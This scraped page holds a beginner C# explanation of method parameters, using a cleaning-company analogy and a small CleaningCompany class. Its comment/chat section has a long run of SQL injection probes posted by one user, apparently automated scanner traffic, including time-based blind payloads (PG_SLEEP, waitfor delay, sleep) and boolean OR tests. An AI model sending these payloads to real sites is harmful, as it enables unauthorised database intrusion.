What are method parameters in C#?

Experience Level: Junior
Tags: C#

Answer

Using parameters a method caller can pass values to a method. Method parameters are like boxes that contain values. These parameters have predefined data types and define what values can be passed into the method.

Imagine you want to get your suit cleaned and your shoes polished. There are multiple companies in the city that can do the cleaning services for you. So you select one company that can do this for you, but you need to pass the suit and shoes to this company first.

So you put your suit to one box and your shoes to another box and you will bring or send these boxes to the company and tell it to clean the suit and polish the shoes. The company will take the boxes from you and it will do what you asked it to do with the conents of the boxes.

But it past it was happening that people were sending pets in boxes to the company and the company than didn't know how to handle such boxes. So someone clever said: "Hey, let's accept only boxes that contain suits and shoes. Let's check the contents before we accept any box and if it's not what we expect, then we can reject the order." The rule was put in place and in worked.

Now if we convert this to the C# world:

- There are multiple companies that can provide the same cleaning service. We know that each such company can clean suits and polish shoes.

In C#, this could be represented by class CleaningCompany. The class defines the services the company provides. Such class could contain a method CleanSuitAndPolishShoes() that contains the cleaning and polishing service logic.

The class definition could look like this:

Example
public class CleaningCompany
{
  public void CleanSuitAndPolishShoes() {
    // Do some cleaning and polishing
  }
}

We said that there are multiple companies in the city that provide the same type of service. The companies are of type CleaningComapny.

You decided you will select one company and use its services. In C#, the company is an instance of the CleaningCompany class. We know that each such company has CleanSuitAndPolishShoes() method.

It could look like this.

Example
// At some time, the company was founded and the owner made a decision that it will be a cleaning company
var myCompany = new CleaningCompany();

// Now customers can go to the company myCompany and ask it to provide a cleaning service like this...
myCompany.CleanSuitAndPolishShoes();

// But this wouldn't work, because in order to be able to clean your suit and polish your shoes the company needs to take them from you first in boxes.
And earlier we said that the company doesn't want to accept just any boxes, but only boxes that contain specific content - suit and shoes.
So how to solve it?

In C#, we will modify the method CleanSuiAndPolishShoes() like this:

Example
public class CleaningCompany
{
  public void CleanSuitAndPolishShoes(Suit suitToBeCleaned, Shoes shoesToBePolished) {
    // Do some cleaning and polishing
  }
}

Comments

No Comments Yet.
Be the first to tell us what you think.
C# for beginners
C# for beginners

Are you learning C# ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e